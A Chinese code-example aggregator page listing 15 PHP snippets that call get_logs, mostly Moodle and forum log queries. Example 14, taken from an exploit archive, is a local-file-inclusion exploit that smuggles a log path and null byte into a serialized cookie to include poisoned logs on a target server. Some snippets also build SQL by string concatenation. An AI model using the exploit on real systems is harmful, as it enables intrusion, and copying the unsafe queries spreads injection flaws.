当前位置: 首页>>代码示例>>PHP>>正文


PHP get_logs函数代码示例

本文整理汇总了PHP中get_logs函数的典型用法代码示例。如果您正苦于以下问题:PHP get_logs函数的具体用法?PHP get_logs怎么用?PHP get_logs使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了get_logs函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: tl_get_course_time

function tl_get_course_time($courseid, $userid)
{
    global $CFG;
    set_time_limit(0);
    //totalcount is passed by reference
    $sql_log = 'l.course = ' . $courseid . ' AND l.userid = ' . $userid;
    $logs = get_logs($sql_log, 'l.time ASC', '', '', $totalcount);
    if (!is_array($logs)) {
        return 0;
    }
    $totaltime = 0;
    foreach ($logs as $log) {
        if (!isset($login)) {
            // for the first time $login is not set so the first log is also
            // the first $login
            $login = $log->time;
            $last_hit = $log->time;
            $totaltime = 0;
        }
        $delay = $log->time - $last_hit;
        if ($delay > $CFG->sessiontimeout * 60) {
            // the difference between the last log and the current log is more than
            // the timeout Register session value so that we have found a session!
            $login = $log->time;
        } else {
            $totaltime += $delay;
        }
        // now the actual log became the previous log for the next cycle
        $last_hit = $log->time;
    }
    return $totaltime;
}
开发者ID:nadavkav,项目名称:MoodleTAO,代码行数:32,代码来源:timinglib.php

示例2: integrate_log

function integrate_log($user_id, $course_id, $scorm_id)
{
    global $DB;
    $selector = "";
    $Joins = array();
    $course_module = array();
    $course_module = $DB->get_records("course_modules", array("instance" => $scorm_id, "course" => $course_id));
    $Joins_cm = array();
    foreach ($course_module as $cm) {
        $Joins_cm[] = "l.cmid = '{$cm->id}'";
    }
    $Joins[] = '(' . implode(' OR ', $Joins_cm) . ')';
    $Joins[] = "l.course = {$course_id}";
    $Joins[] = "l.userid = {$user_id}";
    $Joins[] = "l.module = 'scorm'";
    $selector = implode(' AND ', $Joins);
    $order = ' l.time ASC ';
    $limitfrom = '';
    $limitnum = 50000;
    $totalcount = '';
    $courseUserActionLogs = get_logs($selector, null, $order, $limitfrom, $limitnum, $totalcount);
    $courseUserLogData = array();
    foreach ($courseUserActionLogs as $courseUserLog) {
        $courseUserLogData[$courseUserLog->id] = array('time' => $courseUserLog->time);
    }
    return $courseUserLogData;
}
开发者ID:stepsgithub,项目名称:moodle-block_report_module,代码行数:27,代码来源:Computationtime.php

示例3: build_logs_array

function build_logs_array($course, $user = 0, $date = 0, $order = "l.time ASC", $limitfrom = '', $limitnum = '', $modname = "", $modid = 0, $modaction = "", $groupid = 0)
{
    // It is assumed that $date is the GMT time of midnight for that day,
    // and so the next 86400 seconds worth of logs are printed.
    /// Setup for group handling.
    /// If the group mode is separate, and this user does not have editing privileges,
    /// then only the user's group can be viewed.
    if ($course->groupmode == SEPARATEGROUPS and !has_capability('moodle/course:managegroups', get_context_instance(CONTEXT_COURSE, $course->id))) {
        $groupid = get_current_group($course->id);
    } else {
        if (!$course->groupmode) {
            $groupid = 0;
        }
    }
    $joins = array();
    if ($course->id != SITEID || $modid != 0) {
        $joins[] = "l.course='{$course->id}'";
    }
    if ($modname) {
        $joins[] = "l.module = '{$modname}'";
    }
    if ('site_errors' === $modid) {
        $joins[] = "( l.action='error' OR l.action='infected' )";
    } else {
        if ($modid) {
            $joins[] = "l.cmid = '{$modid}'";
        }
    }
    if ($modaction) {
        $firstletter = substr($modaction, 0, 1);
        if (preg_match('/[[:alpha:]]/', $firstletter)) {
            $joins[] = "lower(l.action) LIKE '%" . strtolower($modaction) . "%'";
        } else {
            if ($firstletter == '-') {
                $joins[] = "lower(l.action) NOT LIKE '%" . strtolower(substr($modaction, 1)) . "%'";
            }
        }
    }
    /// Getting all members of a group.
    if ($groupid and !$user) {
        if ($gusers = groups_get_members($groupid)) {
            $gusers = array_keys($gusers);
            $joins[] = 'l.userid IN (' . implode(',', $gusers) . ')';
        } else {
            $joins[] = 'l.userid = 0';
            // No users in groups, so we want something that will always be false.
        }
    } else {
        if ($user) {
            $joins[] = "l.userid = '{$user}'";
        }
    }
    if ($date) {
        $enddate = $date + 86400;
        $joins[] = "l.time > '{$date}' AND l.time < '{$enddate}'";
    }
    $selector = implode(' AND ', $joins);
    $totalcount = 0;
    // Initialise
    $result = array();
    $result['logs'] = get_logs($selector, $order, $limitfrom, $limitnum, $totalcount);
    $result['totalcount'] = $totalcount;
    return $result;
}
开发者ID:arshanam,项目名称:Moodle-ITScholars-LMS,代码行数:64,代码来源:lib.php

示例4: wwassignment_user_outline

/**
* @desc Returns a small object with summary information about a wwassignment instance. Used for user activity repots.
* @param string $course The ID of the course.
* @param string $user The ID of the user.
* @param string $wwassignment The ID of the wwassignment instance.
* @return array Representing time, info pairing.
*/
function wwassignment_user_outline($course, $user, $mod, $wwassignment)
{
    $aLogs = get_logs("l.userid={$user} AND l.course={$course} AND l.cmid={$wwassignment->id}");
    if (count($aLogs) > 0) {
        $return->time = $aLogs[0]->time;
        $return->info = $aLogs[0]->info;
    }
    return $return;
}
开发者ID:bjornbe,项目名称:wwassignment,代码行数:16,代码来源:lib.php

示例5: wwassignment_update_dirty_sets

function wwassignment_update_dirty_sets()
{
    // update grades for all instances which have been modified since last cronjob
    global $CFG, $DB;
    $timenow = time();
    $lastcron = $DB->get_field("modules", "lastcron", array("name" => "wwassignment"));
    //	error_log ("lastcron is $lastcron and time now is $timenow");
    //error_log ("sql string = $sql");
    // Could we speed this up by getting all of the log records pertaining to webwork in one go?
    // Or perhaps just the log records which have occured after the lastcron date
    // Then create a hash with wwassignment->id  => timemodified
    // means just one database lookup
    $logRecords = get_logs("l.module LIKE \"wwassignment\" AND l.time >{$lastcron} ", null, "l.time ASC");
    $wwmodtimes = array();
    foreach ($logRecords as $record) {
        $wwmodtimes[$wwid = $record->info] = $record->time;
    }
    // Create an array with the wwid values
    $idValues = implode(",", array_keys($wwmodtimes));
    list($usql, $params) = $DB->get_in_or_equal($idValues);
    //error_log("values string $idValues");
    //error_log("last modification times".print_r($wwmodtimes,true));
    $sql = "SELECT a.*, cm.idnumber as cmidnumber, a.course as courseid, cm.id as wwinstanceid " . "FROM {wwassignment} a, {course_modules} cm, {modules} m WHERE m.name = 'wwassignment' " . "AND m.id=cm.module AND cm.instance=a.id AND a.id {$usql}";
    $sql3 = "SELECT a.* FROM {wwassignment} a WHERE a.id {$usql}";
    //error_log("last modification times".print_r($wwmodificationtime,true));
    if ($rs = $DB->get_recordset_sql($sql, $params)) {
        foreach ($rs as $wwassignment) {
            if (!$wwassignment->cmidnumber) {
                // is this ever needed?
                $wwassignment->cmidnumber = _wwassignment_cmid();
            }
            $wwassignment->timemodified = $wwmodtimes[$wwassignment->id];
            if ($wwassignment->timemodified > $lastcron) {
                //             	error_log("instance needs update.  timemodified ".$wwassignment->timemodified.
                //             	     ", lastcron $lastcron, course id ".$wwassignment->course.", wwassignment id ".$wwassignment->id.
                //             	     ", set name ".$wwassignment->name.", cm.id ".$wwassignment->wwinstanceid);
                if ($wwassignment->grade != 0) {
                    wwassignment_update_grades($wwassignment);
                } else {
                    wwassignment_grade_item_update($wwassignment);
                }
                // refresh events for this assignment
                _wwassignment_refresh_event($wwassignment);
            } else {
                //             	error_log("no update needed.  timemodified ".$wwassignment->timemodified.
                //             	 ", lastcron $lastcron, course id ".$wwassignment->course.", wwassignment id ".$wwassignment->id.
                //             	", set name ".$wwassignment->name.", cm.id ".$wwassignment->wwinstanceid);
            }
        }
        $rs->close();
    }
    //	error_log("done with updating dirty sets");
    return true;
}
开发者ID:bjornbe,项目名称:wwassignment,代码行数:54,代码来源:lib.php

示例6: notify_login_failures

/**
 * Notify admin users or admin user of any failed logins (since last notification).
 *
 * @uses $CFG
 * @uses $db
 * @uses HOURSECS
 */
function notify_login_failures()
{
    global $CFG, $db;
    switch ($CFG->notifyloginfailures) {
        case 'mainadmin':
            $recip = array(get_admin());
            break;
        case 'alladmins':
            $recip = get_admins();
            break;
    }
    if (empty($CFG->lastnotifyfailure)) {
        $CFG->lastnotifyfailure = 0;
    }
    // we need to deal with the threshold stuff first.
    if (empty($CFG->notifyloginthreshold)) {
        $CFG->notifyloginthreshold = 10;
        // default to something sensible.
    }
    $notifyipsrs = $db->Execute('SELECT ip FROM ' . $CFG->prefix . 'log WHERE time > ' . $CFG->lastnotifyfailure . '
                          AND module=\'login\' AND action=\'error\' GROUP BY ip HAVING count(*) > ' . $CFG->notifyloginthreshold);
    $notifyusersrs = $db->Execute('SELECT info FROM ' . $CFG->prefix . 'log WHERE time > ' . $CFG->lastnotifyfailure . '
                          AND module=\'login\' AND action=\'error\' GROUP BY info HAVING count(*) > ' . $CFG->notifyloginthreshold);
    if ($notifyipsrs) {
        $ipstr = '';
        while ($row = rs_fetch_next_record($notifyipsrs)) {
            $ipstr .= "'" . $row->ip . "',";
        }
        rs_close($notifyipsrs);
        $ipstr = substr($ipstr, 0, strlen($ipstr) - 1);
    }
    if ($notifyusersrs) {
        $userstr = '';
        while ($row = rs_fetch_next_record($notifyusersrs)) {
            $userstr .= "'" . $row->info . "',";
        }
        rs_close($notifyusersrs);
        $userstr = substr($userstr, 0, strlen($userstr) - 1);
    }
    if (strlen($userstr) > 0 || strlen($ipstr) > 0) {
        $count = 0;
        $logs = get_logs('time > ' . $CFG->lastnotifyfailure . ' AND module=\'login\' AND action=\'error\' ' . (strlen($ipstr) > 0 && strlen($userstr) > 0 ? ' AND ( ip IN (' . $ipstr . ') OR info IN (' . $userstr . ') ) ' : (strlen($ipstr) != 0 ? ' AND ip IN (' . $ipstr . ') ' : ' AND info IN (' . $userstr . ') ')), 'l.time DESC', '', '', $count);
        // if we haven't run in the last hour and we have something useful to report and we are actually supposed to be reporting to somebody
        if (is_array($recip) and count($recip) > 0 and time() - HOURSECS > $CFG->lastnotifyfailure and is_array($logs) and count($logs) > 0) {
            $message = '';
            $site = get_site();
            $subject = get_string('notifyloginfailuressubject', '', format_string($site->fullname));
            $message .= get_string('notifyloginfailuresmessagestart', '', $CFG->wwwroot) . ($CFG->lastnotifyfailure != 0 ? '(' . userdate($CFG->lastnotifyfailure) . ')' : '') . "\n\n";
            foreach ($logs as $log) {
                $log->time = userdate($log->time);
                $message .= get_string('notifyloginfailuresmessage', '', $log) . "\n";
            }
            $message .= "\n\n" . get_string('notifyloginfailuresmessageend', '', $CFG->wwwroot) . "\n\n";
            foreach ($recip as $admin) {
                mtrace('Emailing ' . $admin->username . ' about ' . count($logs) . ' failed login attempts');
                email_to_user($admin, get_admin(), $subject, $message);
            }
            $conf = new object();
            $conf->name = 'lastnotifyfailure';
            $conf->value = time();
            if ($current = get_record('config', 'name', 'lastnotifyfailure')) {
                $conf->id = $current->id;
                if (!update_record('config', $conf)) {
                    mtrace('Could not update last notify time');
                }
            } else {
                if (!insert_record('config', $conf)) {
                    mtrace('Could not set last notify time');
                }
            }
        }
    }
}
开发者ID:BackupTheBerlios,项目名称:samouk-svn,代码行数:80,代码来源:moodlelib.php

示例7: can_bid

function can_bid()
{
    do_log('bid');
    return get_logs('bid', bid_time) < 6;
}
开发者ID:mwcs01,项目名称:openpantry,代码行数:5,代码来源:log.lib.php

示例8: delete_error_log_file

        }
        delete_error_log_file($file_array);
    } else {
        message_die(GENERAL_ERROR, $lang['LOGS_DENY']);
    }
}
$start = request_var('start', 0);
$start = $start < 0 ? 0 : $start;
$sort_order_array = array('log_id', 'log_time', 'log_page', 'log_user_id', 'log_action', 'log_desc', 'log_target');
$sort_order = request_var('sort_order', $sort_order_array[0]);
$sort_order = in_array($sort_order, $sort_order_array) ? $sort_order : $sort_order_array[0];
$sort_dir = request_var('sort_dir', 'DESC');
$sort_dir = $sort_dir == 'ASC' ? 'ASC' : 'DESC';
$logs_actions_filter = request_var('logs_actions_filter', 'ALL');
$log_item = array();
$log_item = get_logs('', $start, $config['topics_per_page'], $sort_order, $sort_dir, $logs_actions_filter);
foreach ($log_item as $log_item_data) {
    $log_username = colorize_username($log_item_data['log_user_id']);
    $log_target = $log_item_data['log_target'] >= 2 ? colorize_username($log_item_data['log_target']) : '&nbsp;';
    $log_action = parse_logs_action($log_item_data['log_id'], $log_item_data['log_action'], $log_item_data['log_desc'], $log_username, $log_target);
    $template->assign_block_vars('log_row', array('LOG_ID' => $log_item_data['log_id'], 'LOG_TIME' => create_date_ip($config['default_dateformat'], $log_item_data['log_time'], $config['board_timezone']), 'LOG_PAGE' => htmlspecialchars($log_item_data['log_page']), 'LOG_ACTION' => $log_item_data['log_action'], 'LOG_USERNAME' => $log_username, 'LOG_TARGET' => $log_target, 'LOG_DESC' => $log_action['desc'], 'S_LOG_DESC_EXTRA' => $log_action['desc_extra'] != '' ? true : false, 'LOG_DESC_EXTRA' => $log_action['desc_extra']));
}
$logs_actions_filter_select = actions_filter_select($logs_actions_filter);
$sort_lang = $sort_dir == 'ASC' ? $lang['Sort_Ascending'] : $lang['Sort_Descending'];
$sort_img = $sort_dir == 'ASC' ? 'images/sort_asc.png' : 'images/sort_desc.png';
$sort_img_full = '<img src="' . IP_ROOT_PATH . $sort_img . '" alt="' . $sort_lang . '" title="' . $sort_lang . '" style="padding-left: 3px;" />';
$sort_order_append = '&amp;sort_order=' . $sort_order;
$sort_dir_append = '&amp;sort_dir=' . $sort_dir;
$logs_actions_filter_append = $logs_actions_filter == 'ALL' ? '' : '&amp;logs_actions_filter=' . $logs_actions_filter;
$sort_dir_append_rev = '&amp;sort_dir=' . ($sort_dir == 'ASC' ? 'DESC' : 'ASC');
$this_page_address = 'admin_logs.' . PHP_EXT . '?' . $sort_dir_append_rev . $logs_actions_filter_append;
开发者ID:ALTUN69,项目名称:icy_phoenix,代码行数:31,代码来源:admin_logs.php

示例9: build_logs_array

function build_logs_array($course, $user = 0, $date = 0, $order = "l.time ASC", $limitfrom = '', $limitnum = '', $modname = "", $modid = 0, $modaction = "", $groupid = 0)
{
    global $DB, $SESSION, $USER;
    // It is assumed that $date is the GMT time of midnight for that day,
    // and so the next 86400 seconds worth of logs are printed.
    /// Setup for group handling.
    /// If the group mode is separate, and this user does not have editing privileges,
    /// then only the user's group can be viewed.
    if ($course->groupmode == SEPARATEGROUPS and !has_capability('moodle/course:managegroups', get_context_instance(CONTEXT_COURSE, $course->id))) {
        if (isset($SESSION->currentgroup[$course->id])) {
            $groupid = $SESSION->currentgroup[$course->id];
        } else {
            $groupid = groups_get_all_groups($course->id, $USER->id);
            if (is_array($groupid)) {
                $groupid = array_shift(array_keys($groupid));
                $SESSION->currentgroup[$course->id] = $groupid;
            } else {
                $groupid = 0;
            }
        }
    } else {
        if (!$course->groupmode) {
            $groupid = 0;
        }
    }
    $joins = array();
    $params = array();
    if ($course->id != SITEID || $modid != 0) {
        $joins[] = "l.course = :courseid";
        $params['courseid'] = $course->id;
    }
    if ($modname) {
        $joins[] = "l.module = :modname";
        $params['modname'] = $modname;
    }
    if ('site_errors' === $modid) {
        $joins[] = "( l.action='error' OR l.action='infected' )";
    } else {
        if ($modid) {
            $joins[] = "l.cmid = :modid";
            $params['modid'] = $modid;
        }
    }
    if ($modaction) {
        $firstletter = substr($modaction, 0, 1);
        if ($firstletter == '-') {
            $joins[] = $DB->sql_like('l.action', ':modaction', false, true, true);
            $params['modaction'] = '%' . substr($modaction, 1) . '%';
        } else {
            $joins[] = $DB->sql_like('l.action', ':modaction', false);
            $params['modaction'] = '%' . $modaction . '%';
        }
    }
    /// Getting all members of a group.
    if ($groupid and !$user) {
        if ($gusers = groups_get_members($groupid)) {
            $gusers = array_keys($gusers);
            $joins[] = 'l.userid IN (' . implode(',', $gusers) . ')';
        } else {
            $joins[] = 'l.userid = 0';
            // No users in groups, so we want something that will always be false.
        }
    } else {
        if ($user) {
            $joins[] = "l.userid = :userid";
            $params['userid'] = $user;
        }
    }
    if ($date) {
        $enddate = $date + 86400;
        $joins[] = "l.time > :date AND l.time < :enddate";
        $params['date'] = $date;
        $params['enddate'] = $enddate;
    }
    $selector = implode(' AND ', $joins);
    $totalcount = 0;
    // Initialise
    $result = array();
    $result['logs'] = get_logs($selector, $params, $order, $limitfrom, $limitnum, $totalcount);
    $result['totalcount'] = $totalcount;
    return $result;
}
开发者ID:numbas,项目名称:moodle,代码行数:82,代码来源:lib.php

示例10: isset

   turning this feature on takes up a fraction of your database space,
   for each database error that your installation generates. Feel free to
   turn this off if your installation is running smoothly, and remember to
   flush the logs regularly.</p>

   <table>

   <tr>
   <th>Date</th>
   <th>Source</th>
   <th>Log</th>
   </tr>
<?php 
    $start = isset($_REQUEST['start']) ? $_REQUEST['start'] : '0';
    $logs = get_logs($start);
    $total = count(get_logs());
    $datestring = 'Y-m-d h:i:s';
    $shade = false;
    foreach ($logs as $l) {
        $class = $shade ? ' class="rowshade"' : '';
        $shade = !$shade;
        echo "<tr{$class}><td>";
        echo date($datestring, strtotime($l['date']));
        echo '</td><td>' . $l['source'];
        echo '</td><td>' . $l['log'];
    }
    echo '</table>';
    $page_qty = $total / get_setting('per_page');
    $url = $_SERVER['REQUEST_URI'];
    $url = 'errorlog.php';
    $connector = '?';
开发者ID:adriculous,项目名称:enthusiast,代码行数:31,代码来源:errorlog.php

示例11: wwassignment_update_dirty_sets

function wwassignment_update_dirty_sets()
{
    // update grades for all instances which have been modified since last cronjob
    global $CFG;
    $timenow = time();
    $lastcron = get_field("modules", "lastcron", "name", "wwassignment");
    error_log("lastcron is {$lastcron} and time now is {$timenow}");
    //error_log ("sql string = $sql");
    // Could we speed this up by getting all of the log records pertaining to webwork in one go?
    // Or perhaps just the log records which have occured after the lastcron date
    // Then create a hash with wwassignment->id  => timemodified
    // means just one database lookup
    $logRecords = get_logs("l.module LIKE \"wwassignment\" AND l.time >{$lastcron} ", "l.time ASC");
    // possible actions generating a log entry include view,  update and 'view all'
    $wwmodificationtime = array();
    foreach ($logRecords as $record) {
        $wwid = $record->info;
        if ($wwid > 0) {
            // the $wwid must not be 0 or blank -- blank id's occur for view all.
            $wwmodtimes[$wwid] = $record->time;
        }
    }
    // Create an array with the wwid values
    $idValues = "( " . implode(",", array_keys($wwmodtimes)) . " )";
    error_log("values string {$idValues}");
    //error_log("last modification times".print_r($wwmodtimes,true));
    $sql = "SELECT a.*, cm.idnumber as cmidnumber, a.course as courseid, cm.id as wwinstanceid\n\t\t\t  FROM {$CFG->prefix}wwassignment a, {$CFG->prefix}course_modules cm, {$CFG->prefix}modules m\n\t\t\t WHERE m.name='wwassignment' AND m.id=cm.module AND cm.instance=a.id AND a.id IN {$idValues}";
    error_log("sql {$sql}");
    //$sql3 = "SELECT a.* FROM {$CFG->prefix}wwassignment a WHERE a.id IN $idValues";
    //error_log("last modification times".print_r($wwmodificationtime,true));
    $rs = get_recordset_sql($sql);
    if ($rs) {
        while ($wwassignment = rs_fetch_next_record($rs)) {
            if (!$wwassignment->cmidnumber) {
                // is this ever needed?
                $wwassignment->cmidnumber = _wwassignment_cmid();
            }
            $wwassignment->timemodified = $wwmodtimes[$wwassignment->id];
            if ($wwassignment->timemodified > $lastcron) {
                error_log("instance needs update.  timemodified " . $wwassignment->timemodified . ", lastcron {$lastcron}, course id " . $wwassignment->course . ", wwassignment id " . $wwassignment->id . ", set name " . $wwassignment->name . ", cm.id " . $wwassignment->wwinstanceid);
                if ($wwassignment->grade != 0) {
                    wwassignment_update_grades($wwassignment);
                } else {
                    wwassignment_grade_item_update($wwassignment);
                }
                // refresh events for this assignment
                _wwassignment_refresh_event($wwassignment);
            } else {
                error_log("no update needed.  timemodified " . $wwassignment->timemodified . ", lastcron {$lastcron}, course id " . $wwassignment->course . ", wwassignment id " . $wwassignment->id . ", set name " . $wwassignment->name . ", cm.id " . $wwassignment->wwinstanceid);
            }
        }
        rs_close($rs);
    }
    error_log("done with updating dirty sets");
    return true;
}
开发者ID:bjornbe,项目名称:wwassignment,代码行数:56,代码来源:lib.php

示例12: cacualateOneCourseRate

function cacualateOneCourseRate($courseID)
{
    if (!($courseusers = get_course_students($courseID))) {
        return false;
        //error('這門課程目前沒有學生參加!');
    }
    if (!($courseActionItem = getCourseActionItem($courseID))) {
        return false;
        //error('課程未有活動!');
    }
    if (!($courseStandardArray = getReportModuleConfig($courseID))) {
        return false;
        //error('課程尚未設定!');
    }
    $userPassArray = array();
    //$userPassArray[userID] = true
    $courseJoins = array();
    $courseJoins[] = "l.module = 'course'";
    $courseJoins[] = "l.action = 'view'";
    $courseJoins[] = "l.course = {$courseID}";
    foreach ($courseusers as $courseuser) {
        $joins = $courseJoins;
        $joins[] = "l.userid = '{$courseuser->id}'";
        $order = ' l.time ASC ';
        $limitfrom = '';
        $limitnum = 50000;
        $totalcount = '';
        $selector = implode(' AND ', $joins);
        $courseUserLogs = get_logs($selector, null, $order, $limitfrom, $limitnum, $totalcount);
        $courseUserLogData = array();
        foreach ($courseUserLogs as $courseUserLog) {
            $courseUserLogData[$courseUserLog->id] = array('userid' => $courseUserLog->userid, 'name' => $courseUserLog->firstname . $courseUserLog->lastname, 'time' => $courseUserLog->time, 'course' => $courseUserLog->course, 'module' => $courseUserLog->module, 'action' => $courseUserLog->action, 'info' => $courseUserLog->info);
        }
        $userPass = '';
        $courseUserTableForm = collectCourseUserInforamtion($courseuser->id, $courseUserLogData, $courseActionItem, $courseStandardArray, $userPass);
        $userPassArray[$courseuser->id] = $userPass;
    }
    $passCount = 0;
    $noPassCount = 0;
    foreach ($userPassArray as $userPass) {
        if ($userPass) {
            $passCount++;
        }
    }
    return round($passCount / count($userPassArray), 4) * 100;
}
开发者ID:stepsgithub,项目名称:moodle-block_report_module,代码行数:46,代码来源:function.php

示例13: array

            } else {
                $name_guest = '<b>' . $lang['Guest'] . '</b>';
            }
            // MG BOTS Parsing - END
            $template->assign_block_vars('guest_user_row', array('ROW_CLASS' => $row_class, 'USERNAME' => $name_guest, 'STARTED' => create_date($config['default_dateformat'], $onlinerow_guest[$i]['session_start'], $config['board_timezone']), 'LASTUPDATE' => create_date($config['default_dateformat'], $onlinerow_guest[$i]['session_time'], $config['board_timezone']), 'FORUM_LOCATION' => $location['lang'], 'IP_ADDRESS' => $guest_ip, 'U_WHOIS_IP' => 'http://whois.sc/' . htmlspecialchars(urlencode($guest_ip)), 'U_FORUM_LOCATION' => $location['url']));
        }
    } else {
        $template->assign_vars(array('L_NO_GUESTS_BROWSING' => $lang['No_users_browsing']));
    }
    jr_admin_make_info_box();
    $version_info = '<p style="color:green">' . $lang['Version_up_to_date'] . '</p>';
    $version_info .= '<p>' . $lang['Mailing_list_subscribe_reminder'] . '</p>';
    $template->assign_vars(array('VERSION_INFO' => $version_info, 'L_VERSION_INFORMATION' => $lang['Version_information']));
    // Get latest logs entry - BEGIN
    $log_item = array();
    $log_item = get_logs('', 0, $config['posts_per_page'], 'log_id', 'DESC');
    foreach ($log_item as $log_item_data) {
        $log_username = colorize_username($log_item_data['log_user_id']);
        $log_target = $log_item_data['log_target'] >= 2 ? colorize_username($log_item_data['log_target']) : '&nbsp;';
        $log_action = parse_logs_action($log_item_data['log_id'], $log_item_data['log_action'], $log_item_data['log_desc'], $log_username, $log_target);
        $template->assign_block_vars('log_row', array('LOG_ID' => $log_item_data['log_id'], 'LOG_TIME' => create_date_ip($config['default_dateformat'], $log_item_data['log_time'], $config['board_timezone']), 'LOG_PAGE' => $log_item_data['log_page'], 'LOG_ACTION' => $log_item_data['log_action'], 'LOG_USERNAME' => $log_username, 'LOG_TARGET' => $log_target, 'LOG_DESC' => $log_action['desc'], 'S_LOG_DESC_EXTRA' => $log_action['desc_extra'] != '' ? true : false, 'LOG_DESC_EXTRA' => $log_action['desc_extra']));
    }
    // Get latest logs entry - END
    $template->pparse('body');
    include IP_ROOT_PATH . ADM . '/page_footer_admin.' . PHP_EXT;
} else {
    // Generate frameset
    $template->set_filenames(array('body' => ADM_TPL . 'index_frameset.tpl'));
    $template->assign_vars(array('S_CONTENT_DIRECTION' => $lang['DIRECTION'], 'S_CONTENT_ENCODING' => $lang['ENCODING'], 'S_FRAME_HEADER' => append_sid('ip_header.' . PHP_EXT), 'S_FRAME_NAV' => append_sid('index.' . PHP_EXT . '?pane=left'), 'S_FRAME_MAIN' => append_sid('index.' . PHP_EXT . '?pane=right')));
    header("Expires: " . gmdate("D, d M Y H:i:s", time()) . " GMT");
    header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
开发者ID:ALTUN69,项目名称:icy_phoenix,代码行数:31,代码来源:index.php

示例14: lfi

function lfi()
{
    global $host, $path, $cookie;
    $logs = get_logs();
    foreach ($logs as $_log) {
        print "[-] Trying to include {$_log}\n";
        $data = base64_encode(serialize(array("ID" => md5(time()), "am" => 1, "lang" => $_log . chr(0))));
        $packet = "GET {$path} HTTP/1.0\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Cookie: {$cookie}_data={$data}\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $resp = http_send($host, $packet);
        if (!preg_match("/f=fopen/", $resp) && preg_match("/_LfI_/", $resp)) {
            return true;
        }
        sleep(1);
    }
    return false;
}
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:19,代码来源:6178.php

示例15: sql

    $grid = 0.2;
}
// caches created by year
$rs = sql("SELECT latitude, longitude, date_created FROM caches");
while ($cache = sql_fetch_assoc($rs)) {
    $lat = floor($cache["latitude"] / $grid);
    $long = floor($cache["longitude"] / $grid);
    $year = substr($cache["date_created"], 0, 4);
    if ($year >= 2005 && $year <= date("Y") && ($lat != 0 || $long != 0)) {
        $years[$year] = true;
        $liste[$lat][$long]["caches"][$year]++;
    }
}
mysql_free_result($rs);
// logs per logdate by year
get_logs("cache_logs");
// get_logs("cache_logs_archived");
function get_logs($table)
{
    global $grid, $liste, $years;
    $rs = sql("SELECT latitude, longitude, date\n\t  \t\t\t\t FROM {$table}\n\t\t  \t\t\t INNER JOIN caches ON {$table}.cache_id=caches.cache_id");
    while ($cache = sql_fetch_assoc($rs)) {
        $lat = floor($cache["latitude"] / $grid);
        $long = floor($cache["longitude"] / $grid);
        $year = substr($cache["date"], 0, 4);
        if ($year >= 2005 && $year <= date("Y") && ($lat != 0 || $long != 0)) {
            $years[$year] = true;
            $liste[$lat][$long]["logs"][$year]++;
        }
    }
    mysql_free_result($rs);
开发者ID:kirstenko,项目名称:oc-server3,代码行数:31,代码来源:coordstat.php


注:本文中的get_logs函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。